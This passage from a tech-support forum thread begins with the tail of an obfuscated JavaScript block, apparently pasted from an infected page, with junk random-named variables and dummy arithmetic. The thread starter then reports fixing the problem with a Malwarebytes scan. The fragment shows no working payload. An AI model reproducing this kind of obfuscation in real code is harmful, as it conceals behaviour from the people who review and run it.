                        if(El.id == ObjArray[i].FrID)
                            return ObjArray[i];
                var   nFTQixKXuVPuuCtP;            
            }
            catch(e) {}
            
            return    null;            
            var   ynHFmRqXuyEhvsAgaeU=  285 - 26830;
        } 
         
    </script>
     
  2. hypnotics

    hypnotics Thread Starter

    Joined:
    Jun 30, 2008
    Messages:
    5
    Solved it myself.

    If anyone has the same problem, download Malwarebytes and do a quick scan, it catches everything.
     
As Seen On
As Seen On...

Welcome to Tech Support Guy!

Are you looking for the solution to your computer problem? Join our site today to ask your question. This site is completely free -- paid for by advertisers and donations.

If you're not already familiar with forums, watch our Welcome Guide to get started.

Join over 733,556 other people just like you!

Thread Status:
Not open for further replies.

Short URL to this thread: https://techguy.org/725889